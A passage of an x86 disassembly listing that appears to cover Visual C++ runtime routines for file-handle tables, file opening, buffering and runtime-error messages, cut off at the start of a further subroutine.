cmp edi, ebx
jnz short loc_4232BD
nop
call near ptr 2610AB7h
mov edi, eax
cmp edi, ebx
jz short loc_4232F9
loc_4232BD: ; CODE XREF: ___:004232AFj
cmp [edi], bl
mov eax, edi
jz short loc_4232CD
loc_4232C3: ; CODE XREF: ___:004232C6j
; ___:004232CBj
inc eax
cmp [eax], bl
jnz short loc_4232C3
inc eax
cmp [eax], bl
jnz short loc_4232C3
loc_4232CD: ; CODE XREF: ___:004232C1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4232E3
xor esi, esi
jmp short loc_4232EE
; ---------------------------------------------------------------------------
loc_4232E3: ; CODE XREF: ___:004232DDj
push ebp
push edi
push esi
call sub_41C310
add esp, 0Ch
loc_4232EE: ; CODE XREF: ___:004232E1j
push edi
nop
call near ptr 2610D37h
mov eax, esi
jmp short loc_4232FB
; ---------------------------------------------------------------------------
loc_4232F9: ; CODE XREF: ___:00423209j
; ___:00423231j ...
xor eax, eax
loc_4232FB: ; CODE XREF: ___:004232A6j
; ___:004232F7j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423322
push 1Bh
call sub_41DA29
pop ecx
loc_423322: ; CODE XREF: ___:00423318j
mov dword_4DC5C0, esi
mov dword_4DC6C0, 20h
lea eax, [esi+100h]
loc_423338: ; CODE XREF: ___:00423354j
cmp esi, eax
jnb short loc_423356
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DC5C0
add esi, 8
add eax, 100h
jmp short loc_423338
; ---------------------------------------------------------------------------
loc_423356: ; CODE XREF: ___:0042333Aj
lea eax, [esp+10h]
push eax
nop
call near ptr 2850000h
cmp word ptr [esp+42h], 0
jz loc_423432
mov eax, [esp+44h]
test eax, eax
jz loc_423432
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_42338C
mov esi, eax
loc_42338C: ; CODE XREF: ___:00423388j
cmp dword_4DC6C0, esi
jge short loc_4233E6
mov edi, offset dword_4DC5C4
loc_423399: ; CODE XREF: ___:004233DCj
push 100h
call sub_41B4D5
test eax, eax
pop ecx
jz short loc_4233E0
add dword_4DC6C0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_4233B7: ; CODE XREF: ___:004233D1j
cmp eax, ecx
jnb short loc_4233D3
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_4233B7
; ---------------------------------------------------------------------------
loc_4233D3: ; CODE XREF: ___:004233B9j
add edi, 4
cmp dword_4DC6C0, esi
jl short loc_423399
jmp short loc_4233E6
; ---------------------------------------------------------------------------
loc_4233E0: ; CODE XREF: ___:004233A6j
mov esi, dword_4DC6C0
loc_4233E6: ; CODE XREF: ___:00423392j
; ___:004233DEj
xor edi, edi
test esi, esi
jle short loc_423432
loc_4233EC: ; CODE XREF: ___:00423430j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423429
mov cl, [ebp+0]
test cl, 1
jz short loc_423429
test cl, 8
jnz short loc_42340B
push eax
call near ptr 2610000h
nop
test eax, eax
jz short loc_423429
loc_42340B: ; CODE XREF: ___:004233FEj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DC5C0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423429: ; CODE XREF: ___:004233F1j
; ___:004233F9j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_4233EC
loc_423432: ; CODE XREF: ___:00423367j
; ___:00423373j ...
xor ebx, ebx
loc_423434: ; CODE XREF: ___:00423497j
mov eax, dword_4DC5C0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_42348F
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_42344F
push 0FFFFFFF6h
pop eax
jmp short loc_423459
; ---------------------------------------------------------------------------
loc_42344F: ; CODE XREF: ___:00423448j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423459: ; CODE XREF: ___:0042344Dj
push eax
nop
call near ptr 26107E8h
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_42347E
push edi
call near ptr 2610000h
nop
test eax, eax
jz short loc_42347E
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423484
loc_42347E: ; CODE XREF: ___:00423465j
; ___:00423470j
or byte ptr [esi+4], 40h
jmp short loc_423493
; ---------------------------------------------------------------------------
loc_423484: ; CODE XREF: ___:0042347Cj
cmp eax, 3
jnz short loc_423493
or byte ptr [esi+4], 8
jmp short loc_423493
; ---------------------------------------------------------------------------
loc_42348F: ; CODE XREF: ___:00423440j
or byte ptr [esi+4], 80h
loc_423493: ; CODE XREF: ___:00423482j
; ___:00423487j ...
inc ebx
cmp ebx, 3
jl short loc_423434
push dword_4DC6C0
nop
call near ptr 2610A05h
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao
; sub_42218C+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423558
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4234EB: ; CODE XREF: sub_4234B8+90j
cmp esi, 0FFFFFFFFh
jz short loc_423551
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_42353F
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_42353F
js short loc_42354A
mov edi, [ebx+8]
push ebx
call sub_41CB74
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41CBB6
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41CC4A
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_42353F: ; CODE XREF: sub_4234B8+40j
; sub_4234B8+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4234EB
; ---------------------------------------------------------------------------
loc_42354A: ; CODE XREF: sub_4234B8+54j
mov eax, 0
jmp short loc_42356D
; ---------------------------------------------------------------------------
loc_423551: ; CODE XREF: sub_4234B8+36j
mov eax, 1
jmp short loc_42356D
; ---------------------------------------------------------------------------
loc_423558: ; CODE XREF: sub_4234B8+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41CBB6
add esp, 8
pop ebp
mov eax, 1
loc_42356D: ; CODE XREF: sub_4234B8+97j
; sub_4234B8+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4234B8 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41CBB6
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423590 proc near ; CODE XREF: sub_41DA29+9p
mov eax, dword_4DB2F0
cmp eax, 1
jz short loc_4235A7
test eax, eax
jnz short locret_4235C8
cmp dword_43A2C4, 1
jnz short locret_4235C8
loc_4235A7: ; CODE XREF: sub_423590+8j
push 0FCh
call sub_4235C9
mov eax, dword_4DB45C
pop ecx
test eax, eax
jz short loc_4235BD
call eax
loc_4235BD: ; CODE XREF: sub_423590+29j
push 0FFh
call sub_4235C9
pop ecx
locret_4235C8: ; CODE XREF: sub_423590+Cj
; sub_423590+15j
retn
sub_423590 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p
; sub_423590+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43C958
loc_4235DC: ; CODE XREF: sub_4235C9+20j
cmp edx, [eax]
jz short loc_4235EB
add eax, 8
inc ecx
cmp eax, offset off_43C9E8
jl short loc_4235DC
loc_4235EB: ; CODE XREF: sub_4235C9+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43C958[esi]
jnz loc_423719
mov eax, dword_4DB2F0
cmp eax, 1
jz loc_4236F3
test eax, eax
jnz short loc_42361C
cmp dword_43A2C4, 1
jz loc_4236F3
loc_42361C: ; CODE XREF: sub_4235C9+44j
cmp edx, 0FCh
jz loc_423719
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
nop
call near ptr 2650000h
test eax, eax
jnz short loc_423653
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41BEB0
pop ecx
pop ecx
loc_423653: ; CODE XREF: sub_4235C9+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41AFE0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423696
lea eax, [ebp+var_1A4]
push eax
call sub_41AFE0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41B5F0
add esp, 10h
loc_423696: ; CODE XREF: sub_4235C9+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41BEB0
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41BEC0
lea eax, [ebp+var_A0]
push offset asc_427C10 ; "\n\n"
push eax
call sub_41BEC0
push off_43C95C[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41BEC0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_424D78
add esp, 2Ch
pop edi
jmp short loc_423719
; ---------------------------------------------------------------------------
loc_4236F3: ; CODE XREF: sub_4235C9+3Cj
; sub_4235C9+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43C95C[esi]
push 0
push eax
push dword ptr [esi]
call sub_41AFE0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
nop
call near ptr 26107E8h
push eax
nop
call near ptr 26D0000h
loc_423719: ; CODE XREF: sub_4235C9+2Ej
; sub_4235C9+59j ...
pop esi
leave
retn
sub_4235C9 endp
; =============== S U B R O U T I N E =======================================
sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DC5C0
loc_42372B: ; CODE XREF: sub_42371C+48j
mov eax, [ecx]
test eax, eax
jz short loc_423768
lea edx, [eax+100h]
loc_423737: ; CODE XREF: sub_42371C+28j
cmp eax, edx
jnb short loc_423757
test byte ptr [eax+4], 1
jz short loc_423746
add eax, 8
jmp short loc_423737
; ---------------------------------------------------------------------------
loc_423746: ; CODE XREF: sub_42371C+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4237AB
loc_423757: ; CODE XREF: sub_42371C+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DC6C0
jl short loc_42372B
jmp short loc_4237AB
; ---------------------------------------------------------------------------
loc_423768: ; CODE XREF: sub_42371C+13j
mov esi, 100h
push esi
call sub_41B4D5
test eax, eax
pop ecx
jz short loc_4237AB
add dword_4DC6C0, 20h
lea ecx, ds:4DC5C0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_42378E: ; CODE XREF: sub_42371C+88j
cmp eax, edx
jnb short loc_4237A6
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_42378E
; ---------------------------------------------------------------------------
loc_4237A6: ; CODE XREF: sub_42371C+74j
shl edi, 5
mov ebx, edi
loc_4237AB: ; CODE XREF: sub_42371C+39j
; sub_42371C+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_42371C endp
; =============== S U B R O U T I N E =======================================
sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DC6C0
push edi
jnb short loc_423811
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DC5C0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_423811
cmp dword_43A2C4, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_423807
sub eax, 0
jz short loc_4237FE
dec eax
jz short loc_4237F9
dec eax
jnz short loc_423807
push ebx
push 0FFFFFFF4h
jmp short loc_423801
; ---------------------------------------------------------------------------
loc_4237F9: ; CODE XREF: sub_4237B1+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_423801
; ---------------------------------------------------------------------------
loc_4237FE: ; CODE XREF: sub_4237B1+3Bj
push ebx
push 0FFFFFFF6h
loc_423801: ; CODE XREF: sub_4237B1+46j
; sub_4237B1+4Bj
nop
call near ptr 2600D06h
loc_423807: ; CODE XREF: sub_4237B1+36j
; sub_4237B1+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_423825
; ---------------------------------------------------------------------------
loc_423811: ; CODE XREF: sub_4237B1+Cj
; sub_4237B1+28j
and dword_4DB27C, 0
mov dword_4DB278, 9
or eax, 0FFFFFFFFh
loc_423825: ; CODE XREF: sub_4237B1+5Ej
pop edi
pop esi
retn
sub_4237B1 endp
; =============== S U B R O U T I N E =======================================
sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DC6C0
push edi
jnb short loc_42388B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DC5C0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_42388B
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_42388B
cmp dword_43A2C4, 1
jnz short loc_423881
xor eax, eax
sub ecx, eax
jz short loc_423878
dec ecx
jz short loc_423873
dec ecx
jnz short loc_423881
push eax
push 0FFFFFFF4h
jmp short loc_42387B
; ---------------------------------------------------------------------------
loc_423873: ; CODE XREF: sub_423828+41j
push eax
push 0FFFFFFF5h
jmp short loc_42387B
; ---------------------------------------------------------------------------
loc_423878: ; CODE XREF: sub_423828+3Ej
push eax
push 0FFFFFFF6h
loc_42387B: ; CODE XREF: sub_423828+49j
; sub_423828+4Ej
nop
call near ptr 2600D06h
loc_423881: ; CODE XREF: sub_423828+38j
; sub_423828+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_42389F
; ---------------------------------------------------------------------------
loc_42388B: ; CODE XREF: sub_423828+Cj
; sub_423828+2Aj ...
and dword_4DB27C, 0
mov dword_4DB278, 9
or eax, 0FFFFFFFFh
loc_42389F: ; CODE XREF: sub_423828+61j
pop edi
pop esi
retn
sub_423828 endp
; =============== S U B R O U T I N E =======================================
sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p
; sub_41DA72+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DC6C0
jnb short loc_4238CA
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DC5C0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4238CA
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4238CA: ; CODE XREF: sub_4238A2+Aj
; sub_4238A2+23j
and dword_4DB27C, 0
mov dword_4DB278, 9
or eax, 0FFFFFFFFh
retn
sub_4238A2 endp
; =============== S U B R O U T I N E =======================================
sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DC6C0
jnb short loc_423928
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DC5C0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_423928
push eax
call sub_4238A2
pop ecx
push eax
call near ptr 260079Ch
nop
test eax, eax
jnz short loc_42391D
nop
call near ptr 2660A00h
jmp short loc_42391F
; ---------------------------------------------------------------------------
loc_42391D: ; CODE XREF: sub_4238DF+34j
xor eax, eax
loc_42391F: ; CODE XREF: sub_4238DF+3Cj
test eax, eax
jz short locret_423935
mov dword_4DB27C, eax
loc_423928: ; CODE XREF: sub_4238DF+Aj
; sub_4238DF+22j
mov dword_4DB278, 9
or eax, 0FFFFFFFFh
locret_423935: ; CODE XREF: sub_4238DF+42j
retn
sub_4238DF endp
; =============== S U B R O U T I N E =======================================
sub_423936 proc near ; DATA XREF: ___:00429024o
mov eax, dword_4DC5A0
push esi
push 14h
test eax, eax
pop esi
jnz short loc_42394A
mov eax, 200h
jmp short loc_423950
; ---------------------------------------------------------------------------
loc_42394A: ; CODE XREF: sub_423936+Bj
cmp eax, esi
jge short loc_423955
mov eax, esi
loc_423950: ; CODE XREF: sub_423936+12j
mov dword_4DC5A0, eax
loc_423955: ; CODE XREF: sub_423936+16j
push 4
push eax
call sub_424E01
pop ecx
mov dword_4DB598, eax
test eax, eax
pop ecx
jnz short loc_423989
push 4
push esi
mov dword_4DC5A0, esi
call sub_424E01
pop ecx
mov dword_4DB598, eax
test eax, eax
pop ecx
jnz short loc_423989
push 1Ah
call sub_41DA29
pop ecx
loc_423989: ; CODE XREF: sub_423936+30j
; sub_423936+49j
xor ecx, ecx
mov eax, offset off_43C9E8
loc_423990: ; CODE XREF: sub_423936+6Ej
mov edx, dword_4DB598
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43CC68
jl short loc_423990
xor edx, edx
mov ecx, offset dword_43C9F8
loc_4239AD: ; CODE XREF: sub_423936+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DC5C0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4239CA
test eax, eax
jnz short loc_4239CD
loc_4239CA: ; CODE XREF: sub_423936+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4239CD: ; CODE XREF: sub_423936+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43CA58
jl short loc_4239AD
pop esi
retn
sub_423936 endp
; =============== S U B R O U T I N E =======================================
sub_4239DB proc near ; DATA XREF: ___:00429034o
; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES
call sub_41DBE7
cmp byte_4DB2B8, 0
jz short locret_4239EE
jmp loc_424EB2
; ---------------------------------------------------------------------------
locret_4239EE: ; CODE XREF: sub_4239DB+Cj
retn
sub_4239DB endp
; =============== S U B R O U T I N E =======================================
sub_4239EF proc near ; CODE XREF: sub_41F043+32p
; sub_41F58A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DB460
push 1000h
call sub_41B4D5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_423A18
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_423A29
; ---------------------------------------------------------------------------
loc_423A18: ; CODE XREF: sub_4239EF+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_423A29: ; CODE XREF: sub_4239EF+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4239EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_423A59
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_423A64
; ---------------------------------------------------------------------------
loc_423A59: ; CODE XREF: sub_423A33+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_423A64: ; CODE XREF: sub_423A33+24j
mov eax, 8000h
test ecx, eax
jnz short loc_423A7E
test ch, 40h
jnz short loc_423A7A
cmp dword_4DB570, eax
jz short loc_423A7E
loc_423A7A: ; CODE XREF: sub_423A33+3Dj
or [ebp+var_1], 80h
loc_423A7E: ; CODE XREF: sub_423A33+38j
; sub_423A33+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_423AB6
dec eax
jz short loc_423AAD
dec eax
jz short loc_423AA4
loc_423A8F: ; CODE XREF: sub_423A33+9Fj
; sub_423A33+E8j ...
mov dword_4DB278, 16h
mov dword_4DB27C, ebx
jmp loc_423CC9
; ---------------------------------------------------------------------------
loc_423AA4: ; CODE XREF: sub_423A33+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_423ABD
; ---------------------------------------------------------------------------
loc_423AAD: ; CODE XREF: sub_423A33+57j
mov [ebp+var_C], 40000000h
jmp short loc_423ABD
; ---------------------------------------------------------------------------
loc_423AB6: ; CODE XREF: sub_423A33+54j
mov [ebp+var_C], 80000000h
loc_423ABD: ; CODE XREF: sub_423A33+78j
; sub_423A33+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_423AEB
cmp eax, 20h
jz short loc_423AE2
cmp eax, 30h
jz short loc_423AD9
cmp eax, 40h
jnz short loc_423A8F
mov [ebp+var_10], esi
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AD9: ; CODE XREF: sub_423A33+9Aj
mov [ebp+var_10], 2
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AE2: ; CODE XREF: sub_423A33+95j
mov [ebp+var_10], 1
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AEB: ; CODE XREF: sub_423A33+90j
mov [ebp+var_10], ebx
loc_423AEE: ; CODE XREF: sub_423A33+A4j
; sub_423A33+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_423B38
jz short loc_423B33
cmp ecx, ebx
jz short loc_423B33
cmp ecx, edi
jz short loc_423B2A
cmp ecx, 200h
jz short loc_423B51
cmp ecx, 300h
jnz loc_423A8F
mov [ebp+var_8], 2
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B2A: ; CODE XREF: sub_423A33+D8j
mov [ebp+var_8], 4
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B33: ; CODE XREF: sub_423A33+D0j
; sub_423A33+D4j
mov [ebp+var_8], esi
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B38: ; CODE XREF: sub_423A33+CEj
cmp ecx, 500h
jz short loc_423B5A
cmp ecx, 600h
jz short loc_423B51
cmp ecx, edx
jz short loc_423B5A
jmp loc_423A8F
; ---------------------------------------------------------------------------
loc_423B51: ; CODE XREF: sub_423A33+E0j
; sub_423A33+113j
mov [ebp+var_8], 5
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B5A: ; CODE XREF: sub_423A33+10Bj
; sub_423A33+117j
mov [ebp+var_8], 1
loc_423B61: ; CODE XREF: sub_423A33+F5j
; sub_423A33+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_423B80
mov ecx, dword_4DB280
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_423B80
push 1
pop esi
loc_423B80: ; CODE XREF: sub_423A33+138j
; sub_423A33+148j
test al, 40h
jz short loc_423B8E
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_423B8E: ; CODE XREF: sub_423A33+14Fj
test ah, 10h
jz short loc_423B95
or esi, edi
loc_423B95: ; CODE XREF: sub_423A33+15Ej
test al, 20h
jz short loc_423BA1
or esi, 8000000h
jmp short loc_423BAB
; ---------------------------------------------------------------------------
loc_423BA1: ; CODE XREF: sub_423A33+164j
test al, 10h
jz short loc_423BAB
or esi, 10000000h
loc_423BAB: ; CODE XREF: sub_423A33+16Cj
; sub_423A33+170j
call sub_42371C
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_423BCC
and dword_4DB27C, 0
mov dword_4DB278, 18h
jmp short loc_423C0A
; ---------------------------------------------------------------------------
loc_423BCC: ; CODE XREF: sub_423A33+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call near ptr 26E0921h
nop
mov esi, eax
cmp esi, edi
jz short loc_423BFD
push esi
nop
call near ptr 2610000h
test eax, eax
jnz short loc_423C11
push esi
nop
call near ptr 26408F3h
loc_423BFD: ; CODE XREF: sub_423A33+1B6j
nop
call near ptr 2660A00h
push eax
call sub_4203DF
pop ecx
loc_423C0A: ; CODE XREF: sub_423A33+197j
mov eax, edi
jmp loc_423CE7
; ---------------------------------------------------------------------------
loc_423C11: ; CODE XREF: sub_423A33+1C1j
cmp eax, 2
jnz short loc_423C1C
or [ebp+var_1], 40h
jmp short loc_423C25
; ---------------------------------------------------------------------------
loc_423C1C: ; CODE XREF: sub_423A33+1E1j
cmp eax, 3
jnz short loc_423C25
or [ebp+var_1], 8
loc_423C25: ; CODE XREF: sub_423A33+1E7j
; sub_423A33+1ECj
push esi
push ebx
call sub_4237B1
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DC5C0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_423CCE
test al, 80h
jz short loc_423CCE
test byte ptr [ebp+arg_4], 2
jz short loc_423CCE
push 2
push 0FFFFFFFFh
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_423C83
cmp dword_4DB27C, 83h
jz short loc_423CCE
jmp short loc_423CC2
; ---------------------------------------------------------------------------
loc_423C83: ; CODE XREF: sub_423A33+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F11C
add esp, 0Ch
test eax, eax
jnz short loc_423CB0
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_423CB0
push [ebp+var_10]
push ebx
call sub_424F0A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_423CC2
loc_423CB0: ; CODE XREF: sub_423A33+265j
; sub_423A33+26Bj
push 0
push 0
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_423CCE
loc_423CC2: ; CODE XREF: sub_423A33+24Ej
; sub_423A33+27Bj
push ebx
call sub_41DA72
pop ecx
loc_423CC9: ; CODE XREF: sub_423A33+6Cj
or eax, 0FFFFFFFFh
jmp short loc_423CE7
; ---------------------------------------------------------------------------
loc_423CCE: ; CODE XREF: sub_423A33+221j
; sub_423A33+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_423CE5
test byte ptr [ebp+arg_4], 8
jz short loc_423CE5
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_423CE5: ; CODE XREF: sub_423A33+29Fj
; sub_423A33+2A5j
mov eax, ebx
loc_423CE7: ; CODE XREF: sub_423A33+1D9j
; sub_423A33+299j
pop edi
pop esi
pop ebx
leave
retn
sub_423A33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep
; sub_4200E8+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
